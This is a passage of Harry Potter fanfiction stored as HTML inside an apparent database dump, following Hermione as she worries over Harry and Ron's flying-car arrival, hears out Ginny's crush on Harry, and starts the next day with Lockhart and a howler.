grounds.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked around, trying to get her bearings.&nbsp; It finally occurred to her that in her zeal to go hunting for her friends, she hadn&#8217;t really done any planning.&nbsp; She thought for a moment.&nbsp; If Harry and Ron hadn&#8217;t made it on the train, then maybe they had to find another way to get to Hogwarts.&nbsp; There couldn&#8217;t be but so many ways to get to the magical school.&nbsp; If Harry had to get to Hogwarts, it would probably be by broom.&nbsp; Then of course there was the option that Harry and Ron were just hiding, thinking it&#8217;d be a thrill to skip the feast and do something mischievous, most likely Ron&#8217;s idea.&nbsp; If they were roaming about the grounds, the most likely place they&#8217;d be was the quidditch pitch, flying around on Harry&#8217;s Nimbus 2000.&nbsp; The chance of them being spotted while everyone was in the Great Hall was pretty slim.&nbsp; Either way, the odds of Harry being in the air seemed pretty high, and if that really was the case, then there was definitely one place she&#8217;d be sure to spot him.</p>\n\n<center><p>-----</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione kicked the large statue in the shin and a small passageway opened behind it.&nbsp; She was only a stones throw away from the hallway that would have taken her to Gryffindor Tower, but of course, this wasn&#8217;t where she was headed.&nbsp; She ducked down and crawled through the passage.&nbsp; A few minutes later she found herself standing on one of the high ramparts of Hogwarts staring down across the grounds.&nbsp; Hermione had spent many days up there the previous years, usually to watch Harry practice Quidditch.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This was the first place she decided to focus on, the Quidditch pitch, but there was no sign of anything in the air over the still grass.&nbsp; Her eyes fell on the forbidden forest.&nbsp; Though she knew if Harry and Ron were actually in the forest she&#8217;d never be able to tell from that height, she thought perhaps if they were flying to Hogwarts, she&#8217;d be able to spot them.&nbsp; Still, there was no sign of anything in the air around the school.&nbsp; Finally she scanned the grounds, walking around the edge of the ramparts to get a good view all around the castle.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; An odd sight caught her eyes; one of the solitary trees on the grounds seemed to be deformed.&nbsp; She recognized it from &#8220;Hogwarts: A History.&#8221; It was called the Whomping Willow.&nbsp; She didn&#8217;t remember it looking like that last year and wondered what had happened to it.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The wind was beginning to pick up and she knew that the feast was probably letting out.&nbsp; Disheartened, she descended the stairs to the Hogwarts corridors.</p>\n\n<center><p>-----</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, where&#8217;ve you been?&#8221; The unmistakable voice of Parvati Patil sounded behind Hermione as she stepped into the Gryffindor Tower corridor.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, I got sick, I had to run to the restroom,&#8221; Hermione lied quickly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re not going to believe this,&#8221; Lavender was just behind her. &#8220;Parvati heard from her sister who heard from that Hufflepuff boy, Wayne, who overheard from a Slytherin girl, that Harry and Ron are getting expelled for driving a flying car to school! Crashed it right into the Whomping Willow.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What? Hermione tried to process the fast speech, but even after she went over it in her head twice, it still made no sense. &#8220;Parvati, I think you&#8217;re sources have gotten the message garbled.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, they&#8217;re supposed to be down in Snape&#8217;s office if you want to say good-bye to them.&nbsp; I&#8217;ll tell you one thing, if they don&#8217;t get expelled, it&#8217;ll be the greatest stunt ever pulled at Hogwarts,&#8221; and with that the two retreated to the portrait of the fat lady.&nbsp; Hermione heard Lavender shout out &#8220;wattlebird&#8221; to the fat lady and they disappeared into the common room.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t want to believe it, it was impossible, it was unfathomable, it was&#8230; &#8220;Ron,&#8221; she muttered bitterly.&nbsp; If there was any truth to this story, any at all, then it had to be the doing of that king of all idiotic ideas: Ronald Weasley.&nbsp; There was only one way to find out.&nbsp; She took off down a flight of stairs.</p>\n\n<center><p>-----</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron and Harry weren&#8217;t in Snape&#8217;s office, but Hermione didn&#8217;t know whether this was a good or bad thing.&nbsp; Obviously, the rumors weren&#8217;t true, but then, where were they? </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;This is ridiculous.&#8221;</i> She thought angrily to herself. <i>&#8220;I&#8217;m running all over school, worried sick, and Harry and Ron are probably having the time of their lives.&nbsp; Fine, I&#8217;ll just go to the common room.&nbsp; Forget this.&#8221;</i>&nbsp; Her stomach growled audibly. <i>&#8220;I really wish I hadn&#8217;t skipped dinner.&#8221;</i>\n\n</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione made her way out of the dungeon level and proceeded up the many flights of stairs that would lead her back to Gryffindor Tower.&nbsp; As she ascended to the final landing, Hermione began trying to remember what the new password was when she heard the distant cry of the fat lady call &#8220;Password.&#8221;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The moment she looked up, two things registered immediately: first, the new password was &#8220;wattlebird,&#8221; and second, there were two boys standing in front of the portrait of the fat lady, and one was tall with flaming red hair&#8230; it was Harry and Ron.&nbsp; Without preamble, Hermione took off towards them.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There you are!&#8221; she cried as she reached them. &#8220;Where have you been?&nbsp; The most ridiculous rumors: someone said you&#8217;d been expelled for crashing a flying car.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked as weary as Hermione felt. &#8220;Well, we haven&#8217;t been expelled&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Something in his tone made Hermione ask, &#8220;You&#8217;re not telling me you did fly here?&#8221; This came out harsher than she intended as it always did when she was this tired and frazzled. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Skip the lecture and tell us the new password,&#8221; Ron snapped.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt like giving him a hearty slap, but decided against this course of action. &#8220;It&#8217;s wattlebird,&#8221; she said hastily and at the sound of the correct password, the portrait automatically began to swing open.&nbsp; She hoped Ron would leave so she could talk to Harry alone. She turned to him. &#8220;But that&#8217;s not the point&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But to Hermione&#8217;s complete surprise and chagrin, Ron didn&#8217;t leave, in fact, their conversation was interrupted by the whole of Gryffindor, all of whom were apparently wide awake and waiting for Ron and Harry, or at least that&#8217;s what it seemed like. Several hands reached out to pull the two boys in.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was furious as she climbed awkwardly in behind them.&nbsp; Everyone was raving about Harry and Ron&#8217;s &#8220;daring&#8221; stunt, as if it were the grandest scheme in the world. <i>&#8220;What do they know?&#8221;</i> she thought angrily.&nbsp; This was typical.&nbsp; As long as they didn&#8217;t get the house in serious trouble, nobody cared if Harry did something fool hearted or reckless or almost got killed.&nbsp; They just lived vicariously for the thrill of it all.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;And to think, I was worried about them.&#8221; </i>She scowled at the thought.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had just started her internal debate as to how she was going to weather the celebration of Harry and Ron&#8217;s arrival until she could finally have a chance to talk to Harry alone, when she heard his voice call out, &#8220;Night!&#8221; to him.&nbsp; Harry and Ron were already heading towards their dormitories.&nbsp; Disheartened, hungry, and furious, Hermione started resolutely for hers as well.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She pushed the door open to her dormitory and was met with a mild surprise.&nbsp; Ginny Weasley was sitting on her bed.&nbsp; She jumped a little as Hermione entered.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ginny&#8230; what are you&#8230;. you&#8217;re not in this dormitory&#8230; are you?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh no,&#8221; Ginny grinned nervously. &#8220;Of course not, I just, uh&#8230; wanted to talk to you about something; I mean&#8230; that is if you&#8217;re okay with that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; Hermione&#8217;s frustration seemed to disappear as she tried to discern what the first year Weasley girl wanted.&nbsp; Her stomach growled again, this time so audibly that Ginny heard it.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, are you still hungry?&#8221; Ginny asked revealing a small bundled.&nbsp; She unwrapped two large pieces of pie. &#8220;I snuck these out from the feast in case I wanted a late night snack, but you can have them.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was vaguely reminded of Ron, but dismissed this and gladly accepted the food Ginny offered as she sat down on the bed beside her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what did you want to talk to me about?&#8221; Hermione asked after swallowing a large chunk of pie.&nbsp; She reached over to her nightstand, where a large clear picture of water always sat with a small goblet beside it, and poured herself some water.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well it&#8217;s just,&#8221; Ginny&#8217;s face went almost as red as her head. &#8220;This is so embarrassing but... oh I&#8217;ll just be out with it.&nbsp; I&#8217;ve got a huge crush on Harry!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Duh,&#8221;</i> Hermione thought to herself as she downed another piece of the first slice of pie.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve never not been able to talk to anyone but when I get around Harry it&#8217;s like my mind goes completely blank.&nbsp; I don&#8217;t know what to do about it.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt a pang of irritation but didn&#8217;t dare show it in her face.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I mean, he spent weeks at our house and I still never g6t up the nerve to talk to him.&nbsp; That&#8217;s so unlike me.&nbsp; I mean, he&#8217;s famous; what do you say to Harry Potter?&nbsp; Hermione, you&#8217;re one of his best friend&#8217;s, right?&nbsp; You&#8217;re a girl; can&#8217;t you help me?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione almost choked as she took another gulp of water. &#8220;Help you?&nbsp; Help you what?&#8221; she sputtered.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Help me get Harry to notice me,&#8221; she said almost pleadingly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione set the goblet and second, untouched, piece of pie on the nightstand. &#8220;Ginny, I&#8217;m sure Harry already notices you.&nbsp; I mean you&#8217;re Ron&#8217;s younger sister, that&#8217;s hard to miss.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But I don&#8217;t want him to think of me as just &#8216;Ron&#8217;s younger sister,&#8217;&#8221; Ginny said.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well then, just talk to him,&#8221; Hermione said, trying to reason with her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny gave her an exasperated look. &#8220;Don&#8217;t you think I tried?&nbsp; It&#8217;s just so hard.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione matched her exasperation. &#8220;Ginny, it&#8217;s just <i>Harry.</i>&nbsp; He&#8217;s just a normal wizard, like us.&nbsp; He doesn&#8217;t want to be famous. It&#8217;s not like he&#8217;s Gilderoy Lockhart.&nbsp; Harry just wants to be treated like everyone else.&nbsp; If you do that, then you&#8217;ll be fine.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny thought about this for a moment, then seemed to switch gears mentally. &#8220;Does he&#8230; you know&#8230; like anyone here?&nbsp; I mean, I already know he&#8217;s not into you or anything.&nbsp; Ron told me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was fully taken aback by this statement. <i>&#8220;What&#8217;s that supposed to mean?&#8221;</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny seemed to register this look of shock. &#8220;Oh&#8230; does that mean that&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione waved her hands wildly. &#8220;No no no, it&#8217;s just that Harry and I&#8230; we just have a different friendship than he has with Ron.&#8221; She was glad to see that Ginny didn&#8217;t really understand what this meant. &#8220;Trust me, you can&#8217;t fully rely on what Ron tells you about everything when it comes down to Harry.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;See this is why I <i>need</i> you,&#8221; Ginny continued excitedly. &#8220;I bet with your help, I could plan something that would really make Harry noticed me,&#8221; and to Hermione&#8217;s surprise, Ginny had a look in her eyes that reminded her of the twins.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh no!&#8221; Hermione said, waving her hands wildly again. &#8220;I don&#8217;t think so.&nbsp; If you want to try to impress Harry, you&#8217;re going to have to do it on your own.&nbsp; I&#8217;m staying out of this.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But Hermione!&#8221; Ginny squealed. &#8220;You&#8217;re Harry&#8217;s best friend&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Which is <i>exactly</i> why I don&#8217;t want to get involved. I want to <i>stay</i> Harry&#8217;s best friend, and I don&#8217;t think he&#8217;d appreciate this.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny pouted. &#8220;I don&#8217;t get it.&nbsp; I thought you&#8217;d want to help.&nbsp; I mean, when I told Ron, he said that I might have a chance to get Harry to fancy me this year if I just got up the nerve.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron said that?&#8221; Hermione eyed her suspiciously. <i>&#8221;Why would Ron encourage Ginny&#8217;s crush?&#8221;</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, well he said maybe, but he did act like he thought it was a good idea for me to try.&nbsp; He seemed happy at the thought, and he knows Harry real well too, so I thought maybe he figured Harry would like me too, ya know?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed.&nbsp; She would have to let the young redhead down gently. &#8220;Ginny, it&#8217;s just&#8230; You shouldn&#8217;t go getting your hopes up.&nbsp; I&#8217;ve seen&#8230; other girls try what you&#8217;re thinking, and it&#8217;s never worked out.&nbsp; The best thing to do around Harry is just be yourself and maybe try to be his friend.&nbsp; I don&#8217;t think you can really hope for anything more.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny was still frowning. &#8220;I see&#8230; I guess I should&#8217;ve figured&#8230; you just want to keep Harry all to yourself,&#8221; she said in a small voice.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione almost chocked again, although this time she wasn&#8217;t aided by the presence of any food or drink in her mouth. &#8220;What? Ginny, it&#8217;s not that at all.&nbsp; Harry and I are just&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I heard those girls&#8230; I think they&#8217;re your roommates&#8230; talking about how close you and Harry are and how it&#8217;s almost impossible for Harry to notice any other girls.&nbsp; I don&#8217;t blame you, if it were me; I&#8217;d do the same thing.&nbsp; But if Harry doesn&#8217;t like you that way, that doesn&#8217;t mean you shouldn&#8217;t let any other girls have a chance Hermione.&nbsp; It&#8217;s not fair.&nbsp; If you&#8217;re his friend, you won&#8217;t stop him from being happy.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione opened her mouth to retort, but not for the first time, a small voice in her head that sounded distinctly like her mother, told her to choose her words carefully.&nbsp; After all, Ginny was in Gryffindor, which meant she&#8217;d be seeing a lot of the young redhead, not to mention she was Ron&#8217;s younger sister.&nbsp; She didn&#8217;t want to be on bad terms with her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed. &#8220;I do want Harry to be happy,&#8221; she said truthfully. &#8220;And you&#8217;re right, other girls probably are less willing to&#8230; approach Harry when they see me with him, but I wouldn&#8217;t push someone away from Harry just because I wanted him all to myself or anything like that.&#8221; <i>&#8220;If that were the case I would&#8217;ve gotten rid of Ron ages ago,&#8221;</i> she added mentally. &#8220;It&#8217;s just that Harry chooses his friends carefully.&nbsp; There&#8217;s nothing I can do about that. &nbsp;So like I said before, if you want to be Harry&#8217;s friend, just be yourself.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny stood and Hermione was glad to see she wasn&#8217;t glaring at her. &#8220;Well&#8230; alright.&nbsp; I guess I&#8217;ll figure out something if you won&#8217;t help.&nbsp; But&#8230; could you&#8230; what I mean is&#8230; I don&#8217;t want Harry to&#8230;&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione grinned. &#8220;I won&#8217;t say a word, I promise.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny returned the smile. &#8220;Thank you,&#8221; she said as she started towards the door. &#8220;Enjoy the pie.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione collapsed on her bed as Ginny shut the door behind her. &#8220;Just great,&#8221; she sighed. &#8220;Just what I need, another member of the &#8216;We Love Harry Potter&#8217; fan club.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She wondered what Ginny would try to do to win Harry&#8217;s affection.&nbsp; She also wondered what Parvati, Padma, and Lavender would think if they were to find out about Ginny&#8217;s crush.&nbsp; Would they even see the first year girl as a real threat?&nbsp; Probably so.&nbsp; After all, she was Ron&#8217;s younger sister.&nbsp; In their mind, that would give her the advantage.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Another thought took up residence in her head; what was Ron thinking?&nbsp; Why would he encourage Ginny to make a fool of herself in front of Harry?&nbsp; Did he think her crush was funny or was it something else?&nbsp; Could it be that Ron was plotting?&nbsp; Did he want Harry to fall in love with his younger sister in the hopes that some day Harry might really be a part of his family?&nbsp; It seemed beyond far fetched, but then&#8230; Harry had told her that he felt like a surrogate son, living at the Weasleys all that time during the summer.&nbsp; He hadn&#8217;t had a real family before, and the Weasley&#8217;s treated him like he was one of their own.&nbsp; He seemed so happy. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled over on her side, staring at her nightstand. <i>&#8220;Would Harry just naturally get closer to Ginny after spending all that time with the Weasleys over the summer?&nbsp; I mean, they are almost the same age, and Harry does really like their whole family.&nbsp; It would kind of make sense.&nbsp; Maybe Ron wasn&#8217;t that far off when he told Ginny to give it a shot.&nbsp; I mean, I never did actually ask Harry about the whole thing.&nbsp; How would I know if he likes her or not? Maybe I&#8217;m the one who&#8217;s got it all wrong.&#8221;</i> It was then that she finally noticed how much this really bothered her.&nbsp; Was she&#8230; jealous?</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;No! Harry and I are just friends!&#8221;</i> she admonished herself. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;But is that all you really wanted?&#8221;</i> another part of her brain asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;It&#8217;s more than enough,&#8221;</i> she answered herself.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Is it really?&#8221;</i> the first part pressed.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Yes it is!&#8221;</i> she answered forcefully. <i>&#8220;I&#8217;m not going to fall into this trap again.&nbsp; Harry and I are friends. That&#8217;s all I could ever ask for and it&#8217;s great, and he&#8217;s wonderful to me and I&#8217;m not going to muck that all up by throwing myself at him like some dewy-eyed schoolgirl.&#8221;</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Having resolved this inner conflict for now, Hermione got up and changed for bed, hoping she could fall asleep before Lavender arrived. &nbsp;If there was one thing she didn&#8217;t need to hear that night, it was Lavender&#8217;s bear-like snores.</p> '),
	(241, 5, ' <p><b>Author&#8217;s Note:</b> Hi everyone, I\'ve stopped writing fanfiction because with all of the other things that I have on my plate, I can no longer keep up and writing fanfic has become a burden instead of something fun to do.</p>\n\n<p>I hope you guys don\'t send flames or hundreds of emails trying to convince me otherwise.&nbsp; It\'s not that I don\'t enjoy writing fanfic, I just can\'t do it anymore with all the other stuff I have to do and I have my own series of books to concentrate on.&nbsp; If you enjoy my writing, please take a look at my novel (www.mendala.com).&nbsp; I\'d really appreciate that.&nbsp; I thank everyone that has sent me compliments on my stories and I\'m going to leave them up for a while too.&nbsp; Heaven will finish up my current fanfic at her leisure and will do any others in the series if she chooses.&nbsp; So look to her pen name for the continuation of my fics.</p>\n\n<p><b>Chapter Summary:</b> Okay, how many of you found that Hermione&#8217;s blind obsession with Gilderoy Lockhart throughout the entire book, despite loads of evidence of his flailing incompetence, was a little unrealistic. I mean, come on, this is Hermione we&#8217;re talking about. She may have a little crush, but she&#8217;s not that stupid. So I have devised my own reason for this. </p>\n\n<p>--- Begin Fic Here ---</p>\n\n<p> A full night&#8217;s sleep didn&#8217;t really help Hermione&#8217;s disposition the next morning. She was still mad when she climbed out of bed and her stomach was growling with new vigor. After getting ready for the day, she decided to go down to breakfast on her own, instead of waiting for Ron and Harry. She took her copy of Gilderoy Lockhart&#8217;s &#8220;Voyages with Vampires&#8221; with her to read.</p>\n\n<p> As she descended the stairs to the entrance hall, she saw Gilderoy Lockhart himself, in a turquoise robe.</p>\n\n<p> &#8220;Good morning, Professor Lockhart&#8221; she said cheerily as they crossed paths.</p>\n\n<p> &#8220;And good morning to you,&#8221; Lockhart beamed. &#8220;Oh, and what have we here.&#8221; He reached for Hermione&#8217;s book. &#8220;One of my personal favorites.&#8221;</p>\n\n<p> &#8220;Mine too,&#8221; Hermione said breathlessly. &#8220;I just loved reading about all of the different kinds of vampires you met in your travels. It&#8217;s amazing how different each of them were. You were always so unbiased though. Always gave them a chance. I think that was the most incredible part. You weren&#8217;t just out to hunt them down, but to learn from them. You immersed yourself into their culture, even though you were putting your life on the line. I bet you learned so much. Still there was something confusing about it. I noticed that something you said about your journeys in France didn&#8217;t quite make sense and I was wondering&#8230;&#8221;</p>\n\n<p> &#8220;My, my, my,&#8221; Lockhart said, still beaming like crazy. &#8220;I see you notice the&#8230; uh&#8230; tiny nuances of my adventures. That&#8217;s always nice.&#8221;</p>\n\n<p> &#8220;I&#8217;ve read all your books, Professor.&#8221; Hermione continued excitedly. &#8220;I want to be just like you. I want to be brave.&#8221;</p>\n\n<p> &#8220;Well, I don&#8217;t think anyone can be just like me,&#8221; Lockhart chuckled. &#8220;But I&#8217;m sure that if you keep up your diligent study of my travels, you&#8217;ll be just fine.&#8221; He rubbed her head and started towards the oak front doors.</p>\n\n<p> Hermione tried to hide her blushing face as she started towards the great hall. She sat down at the Gryffindor table and propped &#8220;Voyages with Vampires&#8221; against a milk jug so she could read it while she ate.</p>\n\n<p> Ron and Harry joined her several minutes later, but she barely noticed, nor did she want to make it easy on them. She&#8217;d been worried sick about them yesterday and they were out driving a flying car, and to top things off they went off to their dormitories without so much as a word to her. No, she was going to do the ignoring today.</p>\n\n<p> Hermione was just wrapping her mind around how exactly she was going to tell Harry how thoroughly annoyed she was with him and Ron when an alternate solution landed, quite haphazardly, in her milk jug. It was Erroll, the Weasley family&#8217;s post owl, and as Ron pulled him unceremoniously out of the jug, Hermione registered one thing: the owl was carrying a scarlet red envelope. It reminded her a little bit of the sparkling blue envelop that contained Lavender&#8217;s slumber party invitation. Ron called it, a &#8220;howler.&#8221; Something about the name, didn&#8217;t sound good to Hermione, and the way Ron was reacting to it, she suspected her hunch was right.</p>\n\n<p> After several promptings from Neville, Ron reluctantly opened it and Hermione could fully appreciate why he was so hesitant to do so in the first place. It was horrible, ten times worse than any of the shouting matches she got into with her father. Mrs. Weasley&#8217;s voice resonated from the scarlet envelope at a volume so loud, she was sure that the whole castle could hear it. This megaphone version of Mrs. Weasley&#8217;s voice boomed a lecture at Ron about the flying car incident that was so thorough, that when it was finally over, Hermione could think of very little to add.</p>\n\n<p>\n\n<i>&#8220;I&#8217;ve got to learn how to send one of those,&#8221;</i> she thought mischievously to herself with a grin.</p>\n\n<p>-----</p>\n\n<p> Hermione was in a much better mood after breakfast. She knew it was wrong to gloat but she felt a certain sense of self-satisfaction that Ron had gotten into the appropriate amount of trouble for the antics they pulled yesterday. It seemed that Harry had taken the contents of the howler to heart too, which, surprisingly, didn&#8217;t give her the same feeling of satisfaction. She didn&#8217;t want Harry to have another burden to add to his already growing list.</p>\n\n<p> She still hadn&#8217;t had a chance to really talk to Harry since they got there and it didn&#8217;t seem she would anytime soon. Their first lesson was Herbology with the Hufflepuffs and that wasn&#8217;t a class that really lent itself to private conversations. Besides, Ron would still be there, and she wanted Harry to herself.</p>\n\n<p> As it was, the only person who would get Harry to himself was Gilderoy Lockhart who arrived with Professor Sprout. Before the three of them could make it into greenhouse three, where they would be working, Lockhart pulled Harry out of the group to have a word with him. Hermione very much wanted to linger to see what Lockhart was going to say to him, but Ron elbowed her inside.</p>\n\n<p> As she massaged the shoulder Ron had bumped into, it occurred to her that she&#8217;d also been wanting to speak to Ron alone, and seeing that Professor Sprout was still occupied with preparing their lesson, she took her opportunity.</p>\n\n<p> &#8220;Ron,&#8221; she hissed and Ron jumped as if he&#8217;d been electrified.</p>\n\n<p> &#8220;What&#8217;d I do now?&#8221; he asked grumpily.</p>\n\n<p> &#8220;What&#8217;s the big idea telling Ginny she should try to work herself into Harry&#8217;s good graces? What&#8217;re you playin&#8217; at?&#8221;</p>\n\n<p> &#8220;Huh&#8230; oh.&#8221; Ron grinned sheepishly. &#8220;Well, you know it can&#8217;t hurt. I mean, don&#8217;t you think it&#8217;s kind of cute?&#8221;</p>\n\n<p> &#8220;No,&#8221; Hermione answered emphatically. &#8220;I think it&#8217;s horrible. You know Harry doesn&#8217;t like it when girls throw themselves at him, and it&#8217;s your sister, Ron. Do you want her to get her feelings hurt?&#8221;</p>\n\n<p> &#8220;Of course not, and what makes you think that\'ll happen anyway?&#8221;</p>\n\n<p> &#8220;Do you <i>really</i> see Harry fancying your sister?&#8221; Hermione was glaring at him now.</p>\n\n<p> &#8220;Well&#8230;&#8221; Ron ran his fingers through his hair. &#8220;Why not? I mean, who&#8217;s to say. There&#8217;s nothing wrong with a little encouragement. I mean&#8230; don&#8217;t you want Harry to be happy?&#8221;</p>\n\n<p> &#8220;Of course I do!&#8221; Hermione almost screamed in irritation, &#8220;which is why I don&#8217;t go trying to set him up with somebody.&#8221;</p>\n\n<p> &#8220;I&#8217;m not trying to...&#8221; Ron started but at that moment, the greenhouse door opened and Harry entered. At the same time, Professor Sprout called for the class&#8217;s attention.</p>\n\n<p>-----</p>\n\n<p> After a lengthy Herbology lesson, Hermione was glad to have enough of a break to run up to Gryffindor Tower and clean up. They had spent the entire time repotting mandrakes, which was far more difficult than it looked. Although she still always landed As in Herbology, it was not Hermione&#8217;s favorite subject. She just didn&#8217;t see any reason to get that dirty.</p>\n\n<p> As she ascended the stairs to the girl&#8217;s dormitories, she noticed someone slumped against the wall.</p>\n\n<p> &#8220;Ginny?&#8221; Hermione said timidly as she approached the redheaded figure sprawled out on a stair just above her. She bent down and shook her.</p>\n\n<p> &#8220;Uhhh&#8230; huh?&#8221; Ginny said groggily.</p>\n\n<p> &#8220;What are you doing here?&#8221;</p>\n\n<p> &#8220;I&#8230; oh&#8230; I don&#8217;t feel too good. I don&#8217;t know. I think it might&#8217;ve been something I ate last night.&#8221;</p>\n\n<p> &#8220;Maybe you should go to the hospital wing,&#8221; Hermione offered.</p>\n\n<p> &#8220;Huh? No&#8230; I&#8217;m fine. I think I&#8217;m late for class.&#8221; She pushed herself up and started down the stairs. &#8220;I&#8217;ll see you later.&#8221;</p>\n\n<p> &#8220;But Ginny&#8230;&#8221; Hermione called after her, but there was no response. Ginny was gone.</p>\n\n<p> Hermione sighed and headed up the stairs to clean up.</p>\n\n<p>-----</p>\n\n<p> Hermione&#8217;s next class was transfiguration. She was hoping to get to the classroom a few minutes early to talk to Professor McGonagall about her extra credit work, but it took too long for her and the other Gryffindors to clean up after their previous lessons so she decided to wait until the end.</p>\n\n<p> It was in McGonagall&#8217;s class that Hermione learned that Ron had suffered another consequence for his trip; his wand was almost broken in half.</p>\n\n<p> &#8220;I was trying to stop the car, but I ended up snapping my wand,&#8221; he explained quietly to Hermione while McGonagall was upfront telling the class about the lesson.</p>\n\n<p> Hermione felt a pang of compassion. This was definitely punishment enough. There was no way Ron could do his lessons without a functioning wand and he seemed reluctant to ask for another one. Hermione couldn&#8217;t blame him, not only was 